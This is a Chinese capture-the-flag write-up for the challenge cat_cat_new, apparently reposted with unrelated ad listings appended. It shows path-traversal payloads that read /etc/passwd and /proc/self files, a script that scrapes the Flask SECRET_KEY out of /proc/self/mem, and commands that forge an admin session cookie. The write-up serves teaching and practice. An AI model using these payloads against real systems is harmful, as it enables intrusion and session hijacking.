实用指南:攻防世界-cat_cat_new(任意文件读取、Linux敏感文件、flask-session伪造)

news/2025/11/30 12:45:46/文章来源:https://www.cnblogs.com/gccbuaa/p/19289078

一道有关任意文件读取,Linux敏感文件,flask-session伪造的题目

1.Linux敏感文件

/etc/passwd :这是Linux系统的用户信息数据库,记录了系统中所有用户的基本信息,包括用户名、用户ID、组ID、家目录和登录shell等,格式是用冒号分隔的多个字段,虽然叫"passwd",但现代系统中密码实际存储在更安全的/etc/shadow文件中。

/proc/self :这是一个特殊的符号链接,它总是指向当前正在访问它的进程自身的信息目录,比如如果你的进程ID是1234,那么访问/proc/self就相当于访问/proc/1234,让你无需知道自己的PID就能查看自己的进程信息。

/proc/self/cmdline :这个文件包含了当前进程启动时使用的完整命令行参数,包括程序名称和所有参数。

/proc/self/maps: 这个文件详细展示了当前进程的内存布局地图,包括哪些内存区域被使用、每个区域的起始和结束地址、访问权限(可读/可写/可执行)、以及这些内存映射到了什么文件或用途(如代码段、数据段、堆、栈、共享库等)。

/proc/self/mem :这是当前进程的完整内存内容的镜像文件,通过读取或写入这个文件可以直接操作进程的内存数据,但必须配合maps文件提供的内存地址信息,因为内存中有很多未映射的无效区域,直接读取会出错。

flask-session结构 :Flask-session是Flask框架的会话管理扩展,它将session数据分为三部分:序列化的实际数据、时间戳和防篡改签名,这三部分用点号连接后存储在用户cookie中或服务器端,确保会话数据的安全性和完整性。

2.解题过程

打开题目环境可以看到是一个介绍猫猫的网站

点开一个介绍,看到url上使用GET请求传递了一个名为file的参数,可能有文件包含漏洞。

 传递参数?file=../../../etc/passwd发现存在任意文件读取漏洞。

读取当前进程的命令行参数?file=../../../../proc/self/cmdline,发现有一个通过python启动app.py的命令,所以该网站是一个python框架。根据app.py可以知道是flask框架。(该文件常常为flask项目结构中的主程序文件。)

尝试找到并读取app.py,在上一级目录中找到(该路径不是固定的)。读取到app.py的代码内容。

分析app.py的代码,在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉flag = cat("/flag")os.remove("/flag")
@app.route('/', methods=['GET'])
def index():detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"
if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5637)

flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。但是必须配合maps文件提供的内存地址信息,因为内存中有很多未映射的无效区域,直接读取会出错,所以在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址?file=../../../proc/self/maps。

接下来编写脚本获取secret_key,首先将返回的maps文件的内容保存到test.txt文件中,然后运行run.py,使用正则表达式在 lines 字符串中搜索内存地址范围模式,([0-9a-f]+)-([0-9a-f]+) 匹配格式为起始地址-结束地址的十六进制数字,括号 () 创建了捕获组,可以分别提取起始和结束地址,获得secret_key。

import re,requests
line=open(file="/home/never/桌面/maps.txt",mode='r')
file_date=line.readlines()
for lines in file_date:if 'rw' in lines:addr = re.search('([0-9a-f]+)-([0-9a-f]+)', lines)   //使用正则表达式在 lines 字符串中搜索内存地址范围模式,([0-9a-f]+)-([0-9a-f]+) 匹配格式为 起始地址-结束地址 的十六进制数字,括号 () 创建了捕获组,可以分别提取起始和结束地址start = int(addr.group(1), 16)end = int(addr.group(2), 16)print(start, end)url = f"http://61.147.171.103:50655/info?file=../../../../proc/self/mem&start={start}&end={end}"response = requests.get(url)secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)if secret_key:print(secret_key)exit(0)

有了secret_key后接下来就是伪造session,session在访问/admin路径时的cookie中。session为eyJhZG1pbiI6MH0.aQgWug.eatW8ugIZRL2NFTdCTbOfxiFEOs。

使用工具flask_session_cookie_manager伪造session。使用方法为:

解密 :python flask_session_cookie_manager3.py decode -s "secret_key" -c "session"
加密 :python flask_session_cookie_manager3.py encode -s "secret_key" -t "data"

最后使用伪造的session来修改cookie并访问/admin。获得flag:catctf{Catch_the_c4t_HaHa}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/981832.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025简历撰写网站TOP5权威推荐:资质齐全信誉好的简历平

就业竞争白热化背景下,一份专业简历成为职场人敲开理想岗位的金钥匙。2024年数据显示,超68%的HR会因简历排版混乱、内容空洞直接淘汰候选人,而使用专业简历平台制作的简历,面试邀约率可提升55%。但市场上简历工具鱼…

2025年浙江寄宿制美术高中服务哪家好?性价比之选与口碑排名

在艺术升学竞争白热化的当下,文化+专业双优成为美术生家长的核心诉求——既要专业画室的艺考资源,又要扎实的文化课保障,还要省心的寄宿制管理。面对浙江、上海、江苏三地琳琅满目的美术高中,如何避开专业强文化弱…

2025年十大杭州泡沫雕塑服务商厂家排行榜,精选泡沫雕塑厂家

为帮企业高效锁定适配自身需求的泡沫雕塑合作伙伴,避免选型走弯路,我们从工艺技术实力(如材质耐用性、造型还原度)、定制服务能力(含创意落地效率、场景适配性)、全周期服务质量(覆盖设计到安装维护)及真实客户…

`pytest + YAML + Allure` 的接口自动化测试框架是业界广泛运用的组合

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年浙江美术高中口碑排行榜:3家能提供艺考指导的优质美

对于有志于艺术道路的初中生家庭而言,如何在纷繁复杂的美术高中中找到既专业又可靠的选择,是一个普遍的痛点。许多家长和学生往往在择校时面临信息不对称的问题,不清楚哪些学校能真正提供有效的艺考指导,也不知道如…

2025年口碑好的儿童保温杯/设计感保温杯实力厂家TOP推荐榜

2025年口碑好的儿童保温杯/设计感保温杯实力厂家TOP推荐榜 开篇:行业背景与市场趋势 随着消费者对健康生活方式的重视,保温杯市场持续增长,尤其是儿童保温杯和设计感保温杯的需求显著提升。据市场调研数据显示,2…

2025年十大泡沫雕塑厂家推荐,专业泡沫雕塑制造商全解析

在商业美陈、影视拍摄、婚礼堂装饰等场景中,泡沫雕塑凭借轻盈、可塑性强的特性成为创意落地的核心载体。但市场上泡沫雕塑制造商良莠不齐,如何找到靠谱的泡沫雕塑源头厂家?以下依据工艺实力、服务能力、口碑评价,为…

AI元人文构想:未来的算法规制——从“代码律法”到“价值共生”

AI元人文构想:未来的算法规制——从“代码律法”到“价值共生” 我们时代的权力结构正在经历一场深刻的数字化重构。算法的逻辑已不再局限于代码世界,而是系统地嵌入社会运行的基础层面——它重塑信息传播的路径,介…

2025年知名的大连学习3D建模高性价比课程榜

2025年知名的大连学习3D建模高性价比课程榜开篇:3D建模行业的发展与市场趋势随着数字经济的蓬勃发展,3D建模技术已成为影视动画、游戏开发、建筑设计、工业设计等多个领域的核心技能。据市场研究机构Statista数据显示…

2025年质量好的电袋复合除尘器高评价厂家推荐榜

2025年质量好的电袋复合除尘器高评价厂家推荐榜行业背景与市场趋势随着我国环保政策的日益严格和"双碳"目标的持续推进,工业除尘设备市场迎来了前所未有的发展机遇。电袋复合除尘器作为传统静电除尘器和布袋…

2025年比较好的打包箱高评价厂家推荐榜

2025年比较好的打包箱高评价厂家推荐榜 行业背景与市场趋势 近年来,随着建筑工业化、模块化的发展,打包箱式房屋因其快速搭建、环保节能、可重复利用等优势,在临时建筑、商业空间、文旅项目等领域得到广泛应用。特…

2025年比较好的加装电梯TOP品牌厂家排行榜

2025年比较好的加装电梯TOP品牌厂家排行榜行业背景与市场趋势随着中国城市化进程的不断推进和既有建筑改造需求的持续增长,加装电梯市场迎来了前所未有的发展机遇。据统计数据显示,2024年全国老旧小区加装电梯市场规…

2025年比较好的双层保温饭盒厂家实力及用户口碑排行榜

2025年双层保温饭盒厂家实力及用户口碑排行榜 行业背景与市场趋势 随着消费者对健康饮食和环保生活的重视,保温饭盒市场近年来持续增长。2025年,双层保温饭盒因其优异的保温和分层设计,成为职场人士、学生及户外…

2025年热门的日本留学签证/日本留学官方认可榜

2025年热门的日本留学签证/日本留学官方认可榜日本留学行业背景与市场趋势近年来,日本留学市场持续升温,根据日本学生支援机构(JASSO)数据显示,2023年在日本的外国留学生总数已突破30万人,其中中国留学生占比超过4…

2025年江浙沪老牌美术高中推荐:美术高中服务怎么联系?哪家

在艺术教育赛道日益细分的今天,选择一所兼具专业积淀与文化课保障的美术高中,成为无数艺术生家庭的关键决策。面对市场上良莠不齐的机构,如何避开重专业轻文化师资不稳定的坑?本文聚焦江浙沪地区,依据办学年限、升…

2025年度十大混凝土密封固化剂专业供应商排行榜,新测评精选

为帮地坪施工企业、工业厂房等客户高效锁定适配自身需求的混凝土密封固化剂合作伙伴,避免选型走弯路,我们从产品性能稳定性(如硬度提升率、耐磨度比)、技术支持能力(含施工工艺指导、定制化方案输出)、全周期服务…

2025年优秀的大连校企合作的公司实力机构名单

2025年优秀的大连校企合作的公司实力机构名单开篇:校企合作的市场趋势与行业背景近年来,随着产业升级和人才需求结构的变化,校企合作已成为连接教育与产业的重要桥梁。大连作为东北地区重要的经济中心和高等教育重镇…

2025年质量好的吨袋包装机厂家最新实力排行

2025年质量好的吨袋包装机厂家实力排行行业背景与市场趋势随着全球工业自动化水平的不断提升,吨袋包装机作为散装物料包装领域的关键设备,正经历着前所未有的技术革新与市场扩张。2025年,随着环保要求的日益严格和智…

2025年专业的大连日本语言学校申请奖金/大连日本语言学校申请产品实力推荐榜

2025年专业的大连日本语言学校申请奖金/大连日本语言学校申请产品实力推荐榜行业背景与市场趋势近年来,随着中日文化交流的不断加深和日本高等教育国际化战略的推进,赴日留学已成为越来越多中国学生的选择。作为连接…

CentOS7环境下的yum源配置问题

如下图,跟着网课老师操作的时候,将老师的CentOS7系统放到自己电脑的vmware下运行,但这个系统好像有一段时间没有维护了,好多官方源都不能用了。 当我想在系统里面部署一些基本环境时(如nginx、SSM、maven等等),…